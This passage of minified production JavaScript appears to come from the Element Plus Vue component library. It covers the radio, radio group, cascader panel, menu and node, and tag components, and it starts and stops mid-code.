o.value?r.modelValue:e.modelValue},set(f){o.value?r.changeEvent(f):t&&t(St,f),n.value.checked=e.modelValue===i.value}}),a=nr(N(()=>r==null?void 0:r.size)),l=fo(N(()=>r==null?void 0:r.disabled)),u=D(!1),c=N(()=>l.value||o.value&&s.value!==i.value?-1:0);return ml({from:"label act as value",replacement:"value",version:"3.0.0",scope:"el-radio",ref:"https://element-plus.org/en-US/component/radio.html"},N(()=>o.value&&Cl(e.value))),{radioRef:n,isGroup:o,radioGroup:r,focus:u,size:a,disabled:l,tabIndex:c,modelValue:s,actualValue:i}},j$=["value","name","disabled"],W$=ie({name:"ElRadio"}),G$=ie({...W$,props:N$,emits:Lk,setup(e,{emit:t}){const n=e,r=Oe("radio"),{radioRef:o,radioGroup:i,focus:s,size:a,disabled:l,modelValue:u,actualValue:c}=Tk(n,t);function f(){$e(()=>t("change",u.value))}return(p,m)=>{var g;return B(),_("label",{class:F([d(r).b(),d(r).is("disabled",d(l)),d(r).is("focus",d(s)),d(r).is("bordered",p.border),d(r).is("checked",d(u)===d(c)),d(r).m(d(a))])},[ne("span",{class:F([d(r).e("input"),d(r).is("disabled",d(l)),d(r).is("checked",d(u)===d(c))])},[ft(ne("input",{ref_key:"radioRef",ref:o,"onUpdate:modelValue":m[0]||(m[0]=v=>mn(u)?u.value=v:null),class:F(d(r).e("original")),value:d(c),name:p.name||((g=d(i))==null?void 0:g.name),disabled:d(l),type:"radio",onFocus:m[1]||(m[1]=v=>s.value=!0),onBlur:m[2]||(m[2]=v=>s.value=!1),onChange:f,onClick:m[3]||(m[3]=rt(()=>{},["stop"]))},null,42,j$),[[NA,d(u)]]),ne("span",{class:F(d(r).e("inner"))},null,2)],2),ne("span",{class:F(d(r).e("label")),onKeydown:m[4]||(m[4]=rt(()=>{},["stop"]))},[qe(p.$slots,"default",{},()=>[Kt(We(p.label),1)])],34)],2)}}});var Y$=Ye(G$,[["__file","radio.vue"]]);const B$=Ge({...Rk}),J$=["value","name","disabled"],V$=ie({name:"ElRadioButton"}),U$=ie({...V$,props:B$,setup(e){const t=e,n=Oe("radio"),{radioRef:r,focus:o,size:i,disabled:s,modelValue:a,radioGroup:l,actualValue:u}=Tk(t),c=N(()=>({backgroundColor:(l==null?void 0:l.fill)||"",borderColor:(l==null?void 0:l.fill)||"",boxShadow:l!=null&&l.fill?`-1px 0 0 0 ${l.fill}`:"",color:(l==null?void 0:l.textColor)||""}));return(f,p)=>{var m;return B(),_("label",{class:F([d(n).b("button"),d(n).is("active",d(a)===d(u)),d(n).is("disabled",d(s)),d(n).is("focus",d(o)),d(n).bm("button",d(i))])},[ft(ne("input",{ref_key:"radioRef",ref:r,"onUpdate:modelValue":p[0]||(p[0]=g=>mn(a)?a.value=g:null),class:F(d(n).be("button","original-radio")),value:d(u),type:"radio",name:f.name||((m=d(l))==null?void 0:m.name),disabled:d(s),onFocus:p[1]||(p[1]=g=>o.value=!0),onBlur:p[2]||(p[2]=g=>o.value=!1),onClick:p[3]||(p[3]=rt(()=>{},["stop"]))},null,42,J$),[[NA,d(a)]]),ne("span",{class:F(d(n).be("button","inner")),style:De(d(a)===d(u)?d(c):{}),onKeydown:p[4]||(p[4]=rt(()=>{},["stop"]))},[qe(f.$slots,"default",{},()=>[Kt(We(f.label),1)])],38)],2)}}});var Nk=Ye(U$,[["__file","radio-button.vue"]]);const F$=Ge({id:{type:String,default:void 0},size:fr,disabled:Boolean,modelValue:{type:[String,Number,Boolean],default:void 0},fill:{type:String,default:""},label:{type:String,default:void 0},textColor:{type:String,default:""},name:{type:String,default:void 0},validateEvent:{type:Boolean,default:!0}}),H$=Lk,P$=["id","aria-label","aria-labelledby"],D$=ie({name:"ElRadioGroup"}),X$=ie({...D$,props:F$,emits:H$,setup(e,{emit:t}){const n=e,r=Oe("radio"),o=Jr(),i=D(),{formItem:s}=eo(),{inputId:a,isLabeledByFormItem:l}=Fi(n,{formItemContext:s}),u=f=>{t(St,f),$e(()=>t("change",f))};mt(()=>{const f=i.value.querySelectorAll("[type=radio]"),p=f[0];!Array.from(f).some(m=>m.checked)&&p&&(p.tabIndex=0)});const c=N(()=>n.name||o.value);return Ot(Zk,$t({...Fn(n),changeEvent:u,name:c})),Ce(()=>n.modelValue,()=>{n.validateEvent&&(s==null||s.validate("change").catch(f=>void 0))}),(f,p)=>(B(),_("div",{id:d(a),ref_key:"radioGroupRef",ref:i,class:F(d(r).b("group")),role:"radiogroup","aria-label":d(l)?void 0:f.label||"radio-group","aria-labelledby":d(l)?d(s).labelId:void 0},[qe(f.$slots,"default")],10,P$))}});var jk=Ye(X$,[["__file","radio-group.vue"]]);const Wk=It(Y$,{RadioButton:Nk,RadioGroup:jk}),Q$=kn(jk),_$=kn(Nk);var $$=ie({name:"NodeContent",setup(){return{ns:Oe("cascader-node")}},render(){const{ns:e}=this,{node:t,panel:n}=this.$parent,{data:r,label:o}=t,{renderLabelFn:i}=n;return tt("span",{class:e.e("label")},i?i({node:t,data:r}):o)}});const pI=Symbol(),eee=ie({name:"ElCascaderNode",components:{ElCheckbox:Do,ElRadio:Wk,NodeContent:$$,ElIcon:Pe,Check:uf,Loading:wa,ArrowRight:Xr},props:{node:{type:Object,required:!0},menuId:String},emits:["expand"],setup(e,{emit:t}){const n=Fe(pI),r=Oe("cascader-node"),o=N(()=>n.isHoverMenu),i=N(()=>n.config.multiple),s=N(()=>n.config.checkStrictly),a=N(()=>{var K;return(K=n.checkedNodes[0])==null?void 0:K.uid}),l=N(()=>e.node.isDisabled),u=N(()=>e.node.isLeaf),c=N(()=>s.value&&!u.value||!l.value),f=N(()=>m(n.expandingNode)),p=N(()=>s.value&&n.checkedNodes.some(m)),m=K=>{var W;const{level:j,uid:H}=e.node;return((W=K==null?void 0:K.pathNodes[j-1])==null?void 0:W.uid)===H},g=()=>{f.value||n.expandNode(e.node)},v=K=>{const{node:W}=e;K!==W.checked&&n.handleCheckChange(W,K)},I=()=>{n.lazyLoad(e.node,()=>{u.value||g()})},q=K=>{o.value&&(M(),!u.value&&t("expand",K))},M=()=>{const{node:K}=e;!c.value||K.loading||(K.loaded?g():I())},E=()=>{o.value&&!u.value||(u.value&&!l.value&&!s.value&&!i.value?R(!0):M())},x=K=>{s.value?(v(K),e.node.loaded&&g()):R(K)},R=K=>{e.node.loaded?(v(K),!s.value&&g()):I()};return{panel:n,isHoverMenu:o,multiple:i,checkStrictly:s,checkedNodeId:a,isDisabled:l,isLeaf:u,expandable:c,inExpandingPath:f,inCheckedPath:p,ns:r,handleHoverExpand:q,handleExpand:M,handleClick:E,handleCheck:R,handleSelectCheck:x}}}),tee=["id","aria-haspopup","aria-owns","aria-expanded","tabindex"],nee=ne("span",null,null,-1);function ree(e,t,n,r,o,i){const s=pt("el-checkbox"),a=pt("el-radio"),l=pt("check"),u=pt("el-icon"),c=pt("node-content"),f=pt("loading"),p=pt("arrow-right");return B(),_("li",{id:`${e.menuId}-${e.node.uid}`,role:"menuitem","aria-haspopup":!e.isLeaf,"aria-owns":e.isLeaf?null:e.menuId,"aria-expanded":e.inExpandingPath,tabindex:e.expandable?-1:void 0,class:F([e.ns.b(),e.ns.is("selectable",e.checkStrictly),e.ns.is("active",e.node.checked),e.ns.is("disabled",!e.expandable),e.inExpandingPath&&"in-active-path",e.inCheckedPath&&"in-checked-path"]),onMouseenter:t[2]||(t[2]=(...m)=>e.handleHoverExpand&&e.handleHoverExpand(...m)),onFocus:t[3]||(t[3]=(...m)=>e.handleHoverExpand&&e.handleHoverExpand(...m)),onClick:t[4]||(t[4]=(...m)=>e.handleClick&&e.handleClick(...m))},[pe(" prefix "),e.multiple?(B(),ye(s,{key:0,"model-value":e.node.checked,indeterminate:e.node.indeterminate,disabled:e.isDisabled,onClick:t[0]||(t[0]=rt(()=>{},["stop"])),"onUpdate:modelValue":e.handleSelectCheck},null,8,["model-value","indeterminate","disabled","onUpdate:modelValue"])):e.checkStrictly?(B(),ye(a,{key:1,"model-value":e.checkedNodeId,label:e.node.uid,disabled:e.isDisabled,"onUpdate:modelValue":e.handleSelectCheck,onClick:t[1]||(t[1]=rt(()=>{},["stop"]))},{default:fe(()=>[pe(`
        Add an empty element to avoid render label,
        do not use empty fragment here for https://github.com/vuejs/vue-next/pull/2485
      `),nee]),_:1},8,["model-value","label","disabled","onUpdate:modelValue"])):e.isLeaf&&e.node.checked?(B(),ye(u,{key:2,class:F(e.ns.e("prefix"))},{default:fe(()=>[ae(l)]),_:1},8,["class"])):pe("v-if",!0),pe(" content "),ae(c),pe(" postfix "),e.isLeaf?pe("v-if",!0):(B(),_(Qe,{key:3},[e.node.loading?(B(),ye(u,{key:0,class:F([e.ns.is("loading"),e.ns.e("postfix")])},{default:fe(()=>[ae(f)]),_:1},8,["class"])):(B(),ye(u,{key:1,class:F(["arrow-right",e.ns.e("postfix")])},{default:fe(()=>[ae(p)]),_:1},8,["class"]))],64))],42,tee)}var oee=Ye(eee,[["render",ree],["__file","node.vue"]]);const iee=ie({name:"ElCascaderMenu",components:{Loading:wa,ElIcon:Pe,ElScrollbar:Cs,ElCascaderNode:oee},props:{nodes:{type:Array,required:!0},index:{type:Number,required:!0}},setup(e){const t=bt(),n=Oe("cascader-menu"),{t:r}=Vt(),o=Jr();let i=null,s=null;const a=Fe(pI),l=D(null),u=N(()=>!e.nodes.length),c=N(()=>!a.initialLoaded),f=N(()=>`${o.value}-${e.index}`),p=I=>{i=I.target},m=I=>{if(!(!a.isHoverMenu||!i||!l.value))if(i.contains(I.target)){g();const q=t.vnode.el,{left:M}=q.getBoundingClientRect(),{offsetWidth:E,offsetHeight:x}=q,R=I.clientX-M,K=i.offsetTop,W=K+i.offsetHeight;l.value.innerHTML=`
          <path style="pointer-events: auto;" fill="transparent" d="M${R} ${K} L${E} 0 V${K} Z" />
          <path style="pointer-events: auto;" fill="transparent" d="M${R} ${W} L${E} ${x} V${W} Z" />
        `}else s||(s=window.setTimeout(v,a.config.hoverThreshold))},g=()=>{s&&(clearTimeout(s),s=null)},v=()=>{l.value&&(l.value.innerHTML="",g())};return{ns:n,panel:a,hoverZone:l,isEmpty:u,isLoading:c,menuId:f,t:r,handleExpand:p,handleMouseMove:m,clearHoverZone:v}}});function see(e,t,n,r,o,i){const s=pt("el-cascader-node"),a=pt("loading"),l=pt("el-icon"),u=pt("el-scrollbar");return B(),ye(u,{key:e.menuId,tag:"ul",role:"menu",class:F(e.ns.b()),"wrap-class":e.ns.e("wrap"),"view-class":[e.ns.e("list"),e.ns.is("empty",e.isEmpty)],onMousemove:e.handleMouseMove,onMouseleave:e.clearHoverZone},{default:fe(()=>{var c;return[(B(!0),_(Qe,null,Lt(e.nodes,f=>(B(),ye(s,{key:f.uid,node:f,"menu-id":e.menuId,onExpand:e.handleExpand},null,8,["node","menu-id","onExpand"]))),128)),e.isLoading?(B(),_("div",{key:0,class:F(e.ns.e("empty-text"))},[ae(l,{size:"14",class:F(e.ns.is("loading"))},{default:fe(()=>[ae(a)]),_:1},8,["class"]),Kt(" "+We(e.t("el.cascader.loading")),1)],2)):e.isEmpty?(B(),_("div",{key:1,class:F(e.ns.e("empty-text"))},We(e.t("el.cascader.noData")),3)):(c=e.panel)!=null&&c.isHoverMenu?(B(),_("svg",{key:2,ref:"hoverZone",class:F(e.ns.e("hover-zone"))},null,2)):pe("v-if",!0)]}),_:1},8,["class","wrap-class","view-class","onMousemove","onMouseleave"])}var aee=Ye(iee,[["render",see],["__file","menu.vue"]]);let lee=0;const uee=e=>{const t=[e];let{parent:n}=e;for(;n;)t.unshift(n),n=n.parent;return t};let ay=class ly{constructor(t,n,r,o=!1){this.data=t,this.config=n,this.parent=r,this.root=o,this.uid=lee++,this.checked=!1,this.indeterminate=!1,this.loading=!1;const{value:i,label:s,children:a}=n,l=t[a],u=uee(this);this.level=o?0:r?r.level+1:1,this.value=t[i],this.label=t[s],this.pathNodes=u,this.pathValues=u.map(c=>c.value),this.pathLabels=u.map(c=>c.label),this.childrenData=l,this.children=(l||[]).map(c=>new ly(c,n,this)),this.loaded=!n.lazy||this.isLeaf||!Zo(l)}get isDisabled(){const{data:t,parent:n,config:r}=this,{disabled:o,checkStrictly:i}=r;return(ot(o)?o(t,this):!!t[o])||!i&&(n==null?void 0:n.isDisabled)}get isLeaf(){const{data:t,config:n,childrenData:r,loaded:o}=this,{lazy:i,leaf:s}=n,a=ot(s)?s(t,this):t[s];return Vn(a)?i&&!o?!1:!(Array.isArray(r)&&r.length):!!a}get valueByOption(){return this.config.emitPath?this.pathValues:this.value}appendChild(t){const{childrenData:n,children:r}=this,o=new ly(t,this.config,this);return Array.isArray(n)?n.push(t):this.childrenData=[t],r.push(o),o}calcText(t,n){const r=t?this.pathLabels.join(n):this.label;return this.text=r,r}broadcast(t,...n){const r=`onParent${Oi(t)}`;this.children.forEach(o=>{o&&(o.broadcast(t,...n),o[r]&&o[r](...n))})}emit(t,...n){const{parent:r}=this,o=`onChild${Oi(t)}`;r&&(r[o]&&r[o](...n),r.emit(t,...n))}onParentCheck(t){this.isDisabled||this.setCheckState(t)}onChildCheck(){const{children:t}=this,n=t.filter(o=>!o.isDisabled),r=n.length?n.every(o=>o.checked):!1;this.setCheckState(r)}setCheckState(t){const n=this.children.length,r=this.children.reduce((o,i)=>{const s=i.checked?1:i.indeterminate?.5:0;return o+s},0);this.checked=this.loaded&&this.children.filter(o=>!o.isDisabled).every(o=>o.loaded&&o.checked)&&t,this.indeterminate=this.loaded&&r!==n&&r>0}doCheck(t){if(this.checked===t)return;const{checkStrictly:n,multiple:r}=this.config;n||!r?this.checked=t:(this.broadcast("check",t),this.setCheckState(t),this.emit("check"))}};const uy=(e,t)=>e.reduce((n,r)=>(r.isLeaf?n.push(r):(!t&&n.push(r),n=n.concat(uy(r.children,t))),n),[]);class _2{constructor(t,n){this.config=n;const r=(t||[]).map(o=>new ay(o,this.config));this.nodes=r,this.allNodes=uy(r,!1),this.leafNodes=uy(r,!0)}getNodes(){return this.nodes}getFlattedNodes(t){return t?this.leafNodes:this.allNodes}appendNode(t,n){const r=n?n.appendChild(t):new ay(t,this.config);n||this.nodes.push(r),this.allNodes.push(r),r.isLeaf&&this.leafNodes.push(r)}appendNodes(t,n){t.forEach(r=>this.appendNode(r,n))}getNodeByValue(t,n=!1){return!t&&t!==0?null:this.getFlattedNodes(n).find(o=>Yr(o.value,t)||Yr(o.pathValues,t))||null}getSameNode(t){return t&&this.getFlattedNodes(!1).find(({value:r,level:o})=>Yr(t.value,r)&&t.level===o)||null}}const Gk=Ge({modelValue:{type:he([Number,String,Array])},options:{type:he(Array),default:()=>[]},props:{type:he(Object),default:()=>({})}}),cee={expandTrigger:"click",multiple:!1,checkStrictly:!1,emitPath:!0,lazy:!1,lazyLoad:on,value:"value",label:"label",children:"children",leaf:"leaf",disabled:"disabled",hoverThreshold:500},dee=e=>N(()=>({...cee,...e.props})),$2=e=>{if(!e)return 0;const t=e.id.split("-");return Number(t[t.length-2])},fee=e=>{if(!e)return;const t=e.querySelector("input");t?t.click():t3(e)&&e.click()},hee=(e,t)=>{const n=t.slice(0),r=n.map(i=>i.uid),o=e.reduce((i,s)=>{const a=r.indexOf(s.uid);return a>-1&&(i.push(s),n.splice(a,1),r.splice(a,1)),i},[]);return o.push(...n),o},pee=ie({name:"ElCascaderPanel",components:{ElCascaderMenu:aee},props:{...Gk,border:{type:Boolean,default:!0},renderLabel:Function},emits:[St,qn,"close","expand-change"],setup(e,{emit:t,slots:n}){let r=!1;const o=Oe("cascader"),i=dee(e);let s=null;const a=D(!0),l=D([]),u=D(null),c=D([]),f=D(null),p=D([]),m=N(()=>i.value.expandTrigger==="hover"),g=N(()=>e.renderLabel||n.default),v=()=>{const{options:X}=e,L=i.value;r=!1,s=new _2(X,L),c.value=[s.getNodes()],L.lazy&&Zo(e.options)?(a.value=!1,I(void 0,h=>{h&&(s=new _2(h,L),c.value=[s.getNodes()]),a.value=!0,j(!1,!0)})):j(!1,!0)},I=(X,L)=>{const h=i.value;X=X||new ay({},h,void 0,!0),X.loading=!0;const b=w=>{const A=X,C=A.root?null:A;w&&(s==null||s.appendNodes(w,C)),A.loading=!1,A.loaded=!0,A.childrenData=A.childrenData||[],L&&L(w)};h.lazyLoad(X,b)},q=(X,L)=>{var h;const{level:b}=X,w=c.value.slice(0,b);let A;X.isLeaf?A=X.pathNodes[b-2]:(A=X,w.push(X.children)),((h=f.value)==null?void 0:h.uid)!==(A==null?void 0:A.uid)&&(f.value=X,c.value=w,!L&&t("expand-change",(X==null?void 0:X.pathValues)||[]))},M=(X,L,h=!0)=>{const{checkStrictly:b,multiple:w}=i.value,A=p.value[0];r=!0,!w&&(A==null||A.doCheck(!1)),X.doCheck(L),W(),h&&!w&&!b&&t("close"),!h&&!w&&!b&&E(X)},E=X=>{X&&(X=X.parent,E(X),X&&q(X))},x=X=>s==null?void 0:s.getFlattedNodes(X),R=X=>{var L;return(L=x(X))==null?void 0:L.filter(h=>h.checked!==!1)},K=()=>{p.value.forEach(X=>X.doCheck(!1)),W(),c.value=c.value.slice(0,1),f.value=null,t("expand-change",[])},W=()=>{var X;const{checkStrictly:L,multiple:h}=i.value,b=p.value,w=R(!L),A=hee(b,w),C=A.map(S=>S.valueByOption);p.value=A,u.value=h?C:(X=C[0])!=null?X:null},j=(X=!1,L=!1)=>{const{modelValue:h}=e,{lazy:b,multiple:w,checkStrictly:A}=i.value,C=!A;if(!(!a.value||r||!L&&Yr(h,u.value)))if(b&&!X){const z=DS(kU(qo(h))).map(k=>s==null?void 0:s.getNodeByValue(k)).filter(k=>!!k&&!k.loaded&&!k.loading);z.length?z.forEach(k=>{I(k,()=>j(!1,L))}):j(!0,L)}else{const S=w?qo(h):[h],z=DS(S.map(k=>s==null?void 0:s.getNodeByValue(k,C)));H(z,L),u.value=Mp(h)}},H=(X,L=!0)=>{const{checkStrictly:h}=i.value,b=p.value,w=X.filter(S=>!!S&&(h||S.isLeaf)),A=s==null?void 0:s.getSameNode(f.value),C=L&&A||w[0];C?C.pathNodes.forEach(S=>q(S,!0)):f.value=null,b.forEach(S=>S.doCheck(!1)),$t(w).forEach(S=>S.doCheck(!0)),p.value=w,$e(P)},P=()=>{Tt&&l.value.forEach(X=>{const L=X==null?void 0:X.$el;if(L){const h=L.querySelector(`.${o.namespace.value}-scrollbar__wrap`),b=L.querySelector(`.${o.b("node")}.${o.is("active")}`)||L.querySelector(`.${o.b("node")}.in-active-path`);F3(h,b)}})},U=X=>{const L=X.target,{code:h}=X;switch(h){case _e.up:case _e.down:{X.preventDefault();const b=h===_e.up?-1:1;Ah(n3(L,b,`.${o.b("node")}[tabindex="-1"]`));break}case _e.left:{X.preventDefault();const b=l.value[$2(L)-1],w=b==null?void 0:b.$el.querySelector(`.${o.b("node")}[aria-expanded="true"]`);Ah(w);break}case _e.right:{X.preventDefault();const b=l.value[$2(L)+1],w=b==null?void 0:b.$el.querySelector(`.${o.b("node")}[tabindex="-1"]`);Ah(w);break}case _e.enter:fee(L);break}};return Ot(pI,$t({config:i,expandingNode:f,checkedNodes:p,isHoverMenu:m,initialLoaded:a,renderLabelFn:g,lazyLoad:I,expandNode:q,handleCheckChange:M})),Ce([i,()=>e.options],v,{deep:!0,immediate:!0}),Ce(()=>e.modelValue,()=>{r=!1,j()},{deep:!0}),Ce(()=>u.value,X=>{Yr(X,e.modelValue)||(t(St,X),t(qn,X))}),dA(()=>l.value=[]),mt(()=>!Zo(e.modelValue)&&j()),{ns:o,menuList:l,menus:c,checkedNodes:p,handleKeyDown:U,handleCheckChange:M,getFlattedNodes:x,getCheckedNodes:R,clearCheckedNodes:K,calculateCheckedValue:W,scrollToExpandingNode:P}}});function mee(e,t,n,r,o,i){const s=pt("el-cascader-menu");return B(),_("div",{class:F([e.ns.b("panel"),e.ns.is("bordered",e.border)]),onKeydown:t[0]||(t[0]=(...a)=>e.handleKeyDown&&e.handleKeyDown(...a))},[(B(!0),_(Qe,null,Lt(e.menus,(a,l)=>(B(),ye(s,{key:l,ref_for:!0,ref:u=>e.menuList[l]=u,index:l,nodes:[...a]},null,8,["index","nodes"]))),128))],34)}var Rh=Ye(pee,[["render",mee],["__file","index.vue"]]);Rh.install=e=>{e.component(Rh.name,Rh)};const Yk=Rh,vee=Yk,Vm=Ge({type:{type:String,values:["primary","success","info","warning","danger"],default:"primary"},closable:Boolean,disableTransitions:Boolean,hit:Boolean,color:String,size:{type:String,values:Ui},effect:{type:String,values:["dark","light","plain"],default:"light"},round:Boolean}),gee={close:e=>e instanceof MouseEvent,click:e=>e instanceof MouseEvent},yee=ie({name:"ElTag"}),bee=ie({...yee,props:Vm,emits:gee,setup(e,{emit:t}){const n=e,r=nr(),o=Oe("tag"),i=N(()=>{const{type:l,hit:u,effect:c,closable:f,round:p}=n;return[o.b(),o.is("closable",f),o.m(l||"primary"),o.m(r.value),o.m(c),o.is("hit",u),o.is("round",p)]}),s=l=>{t("close",l)},a=l=>{t("click",l)};return(l,u)=>l.disableTransitions?(B(),_("span",{key:0,class:F(d(i)),style:De({backgroundColor:l.color}),onClick:a},[ne("span",{class:F(d(o).e("content"))},[qe(l.$slots,"default")],2),l.closable?(B(),ye(d(Pe),{key:0,class:F(d(o).e("close")),onClick:rt(s,["stop"])},{default:fe(()=>[ae(d(fi))]),_:1},8,["class","onClick"])):pe("v-if",!0)],6)):(B(),ye(Hn,{key:1,name:`${d(o).namespace.value}-zoom-in-center`,appear:""},{default:fe(()=>[ne("span",{class:F(d(i)),style:De({backgroundColor:l.color}),onClick:a},[ne("span",{class:F(d(o).e("content"))},[qe(l.$slots,"default")],2),l.closable?(B(),ye(d(Pe),{key:0,class:F(d(o).e("close")),onClick:rt(s,["stop"])},{default:fe(()=>[ae(d(fi))]),_:1},8,["class","onClick"])):pe("v-if",!0)],6)]),_:3},8,["name"]))}});var Iee=Ye(bee,[["__file","tag.vue"]]);const Nd=It(Iee),qee=Ge({...Gk,size:fr,placeholder:String,disabled:Boolean,clearable:Boolean,filterable:Boolean,filterMethod:{type:he(Function),default:(e,t)=>e.text.includes(t)},separator:{type:String,default:" / "},showAllLevels:{type:Boolean,default:!0},collapseTags:Boolean,maxCollapseTags:{type:Number,default:1},collapseTagsTooltip:{type:Boolean,default:!1},debounce:{type:Number,default:300},beforeFilter:{type:he(Function),default:()=>!0},popperClass:{type:String,default:""},teleported:yr.teleported,tagType:{...Vm.type,default:"info"},validateEvent:{type:Boolean,default:!0}}),wee={[St]:e=>!!e||e===null,[qn]:e=>!!e||e===null,focus:e=>e instanceof FocusEvent,blur:e=>e instanceof FocusEvent,visibleChange:e=>Un(e),expandChange:e=>!!e,removeTag:e=>!!e},See={key:0},Eee=["placeholder","onKeydown"],Aee=["onClick"],Mee="ElCascader",Cee=ie({name:Mee}),kee=ie({...Cee,props:qee,emits:wee,setup(e,{expose:t,emit:n}){const r=e,o={modifiers:[{name:"arrowPosition",enabled:!0,phase:"main",fn:({state:Y})=>{const{modifiersData:$,placement:oe}=Y;["right","left","bottom","top"].includes(oe)||($.arrow.x=35)},requires:["arrow"]}]},i=Nl();let s=0,a=0;const l=Oe("cascader"),u=Oe("input"),{t:c}=Vt(),{form:f,formItem:p}=eo(),m=D(null),g=D(null),v=D(null),I=D(null),q=D(null),M=D(!1),E=D(!1),x=D(!1),R=D(!1),K=D(""),W=D(""),j=D([]),H=D([]),P=D([]),U=D(!1),X=N(()=>i.style),L=N(()=>r.disabled||(f==null?void 0:f.disabled)),h=N(()=>r.placeholder||c("el.cascader.placeholder")),b=N(()=>W.value||j.value.length>0||U.value?"":h.value),w=nr(),A=N(()=>["small"].includes(w.value)?"small":"default"),C=N(()=>!!r.props.multiple),S=N(()=>!r.filterable||C.value),z=N(()=>C.value?W.value:K.value),k=N(()=>{var Y;return((Y=I.value)==null?void 0:Y.checkedNodes)||[]}),y=N(()=>!r.clearable||L.value||x.value||!E.value?!1:!!k.value.length),T=N(()=>{const{showAllLevels:Y,separator:$}=r,oe=k.value;return oe.length?C.value?"":oe[0].calcText(Y,$):""}),te=N(()=>(p==null?void 0:p.validateState)||""),le=N({get(){return Mp(r.modelValue)},set(Y){n(St,Y),n(qn,Y),r.validateEvent&&(p==null||p.validate("change").catch($=>void 0))}}),re=N(()=>[l.b(),l.m(w.value),l.is("disabled",L.value),i.class]),de=N(()=>[u.e("icon"),"icon-arrow-down",l.is("reverse",M.value)]),ce=N(()=>l.is("focus",M.value||R.value)),we=N(()=>{var Y,$;return($=(Y=m.value)==null?void 0:Y.popperRef)==null?void 0:$.contentRef}),Ie=Y=>{var $,oe,ee;L.value||(Y=Y??!M.value,Y!==M.value&&(M.value=Y,(oe=($=g.value)==null?void 0:$.input)==null||oe.setAttribute("aria-expanded",`${Y}`),Y?(ge(),$e((ee=I.value)==null?void 0:ee.scrollToExpandingNode)):r.filterable&&Ne(),n("visibleChange",Y)))},ge=()=>{$e(()=>{var Y;(Y=m.value)==null||Y.updatePopper()})},Me=()=>{x.value=!1},se=Y=>{const{showAllLevels:$,separator:oe}=r;return{node:Y,key:Y.uid,text:Y.calcText($,oe),hitState:!1,closable:!L.value&&!Y.isDisabled,isCollapseTag:!1}},ue=Y=>{var $;const oe=Y.node;oe.doCheck(!1),($=I.value)==null||$.calculateCheckedValue(),n("removeTag",oe.valueByOption)},ve=()=>{if(!C.value)return;const Y=k.value,$=[],oe=[];if(Y.forEach(ee=>oe.push(se(ee))),H.value=oe,Y.length){Y.slice(0,r.maxCollapseTags).forEach(Te=>$.push(se(Te)));const ee=Y.slice(r.maxCollapseTags),ze=ee.length;ze&&(r.collapseTags?$.push({key:-1,text:`+ ${ze}`,closable:!1,isCollapseTag:!0}):ee.forEach(Te=>$.push(se(Te))))}j.value=$},ke=()=>{var Y,$;const{filterMethod:oe,showAllLevels:ee,separator:ze}=r,Te=($=(Y=I.value)==null?void 0:Y.getFlattedNodes(!r.props.checkStrictly))==null?void 0:$.filter(Xe=>Xe.isDisabled?!1:(Xe.calcText(ee,ze),oe(Xe,z.value)));C.value&&(j.value.forEach(Xe=>{Xe.hitState=!1}),H.value.forEach(Xe=>{Xe.hitState=!1})),x.value=!0,P.value=Te,ge()},me=()=>{var Y;let $;x.value&&q.value?$=q.value.$el.querySelector(`.${l.e("suggestion-item")}`):$=(Y=I.value)==null?void 0:Y.$el.querySelector(`.${l.b("node")}[tabindex="-1"]`),$&&($.focus(),!x.value&&$.click())},Ee=()=>{var Y,$;const oe=(Y=g.value)==null?void 0:Y.input,ee=v.value,ze=($=q.value)==null?void 0:$.$el;if(!(!Tt||!oe)){if(ze){const Te=ze.querySelector(`.${l.e("suggestion-list")}`);Te.style.minWidth=`${oe.offsetWidth}px`}if(ee){const{offsetHeight:Te}=ee,Xe=j.value.length>0?`${Math.max(Te+6,s)}px`:`${s}px`;oe.style.height=Xe,ge()}}},Le=Y=>{var $;return($=I.value)==null?void 0:$.getCheckedNodes(Y)},Ae=Y=>{ge(),n("expandChange",Y)},be=Y=>{var $;const oe=($=Y.target)==null?void 0:$.value;if(Y.type==="compositionend")U.value=!1,$e(()=>O(oe));else{const ee=oe[oe.length-1]||"";U.value=!Y1(ee)}},xe=Y=>{if(!U.value)switch(Y.code){case _e.enter:Ie();break;case _e.down:Ie(!0),$e(me),Y.preventDefault();break;case _e.esc:M.value===!0&&(Y.preventDefault(),Y.stopPropagation(),Ie(!1));break;case _e.tab:Ie(!1);break}},Re=()=>{var Y;(Y=I.value)==null||Y.clearCheckedNodes(),!M.value&&r.filterable&&Ne(),Ie(!1)},Ne=()=>{const{value:Y}=T;K.value=Y,W.value=Y},Se=Y=>{var $,oe;const{checked:ee}=Y;C.value?($=I.value)==null||$.handleCheckChange(Y,!ee,!1):(!ee&&((oe=I.value)==null||oe.handleCheckChange(Y,!0,!1)),Ie(!1))},Ze=Y=>{const $=Y.target,{code:oe}=Y;switch(oe){case _e.up:case _e.down:{const ee=oe===_e.up?-1:1;Ah(n3($,ee,`.${l.e("suggestion-item")}[tabindex="-1"]`));break}case _e.enter:$.click();break}},Q=()=>{const Y=j.value,$=Y[Y.length-1];a=W.value?0:a+1,!(!$||!a||r.collapseTags&&Y.length>1)&&($.hitState?ue($):$.hitState=!0)},J=Y=>{const $=Y.target,oe=l.e("search-input");$.className===oe&&(R.value=!0),n("focus",Y)},V=Y=>{R.value=!1,n("blur",Y)},G=co(()=>{const{value:Y}=z;if(!Y)return;const $=r.beforeFilter(Y);hd($)?$.then(ke).catch(()=>{}):$!==!1?ke():Me()},r.debounce),O=(Y,$)=>{!M.value&&Ie(!0),!($!=null&&$.isComposing)&&(Y?G():Me())},Z=Y=>Number.parseFloat(JN(u.cssVarName("input-height"),Y).value)-2;return Ce(x,ge),Ce([k,L],ve),Ce(j,()=>{$e(()=>Ee())}),Ce(w,async()=>{await $e();const Y=g.value.input;s=Z(Y)||s,Ee()}),Ce(T,Ne,{immediate:!0}),mt(()=>{const Y=g.value.input,$=Z(Y);s=Y.offsetHeight||$,On(Y,Ee)}),t({getCheckedNodes:Le,cascaderPanelRef:I,togglePopperVisible:Ie,contentRef:we}),(Y,$)=>(B(),ye(d(Vr),{ref_key:"tooltipRef",ref:m,visible:M.value,teleported:Y.teleported,"popper-class":[d(l).e("dropdown"),Y.popperClass],"popper-options":o,"fallback-placements":["bottom-start","bottom","top-start","top","right","left"],"stop-popper-mouse-event":!1,"gpu-acceleration":!1,placement:"bottom-start",transition:`${d(l).namespace.value}-zoom-in-top`,effect:"light",pure:"",persistent:"",onHide:Me},{default:fe(()=>[ft((B(),_("div",{class:F(d(re)),style:De(d(X)),onClick:$[5]||($[5]=()=>Ie(d(S)?void 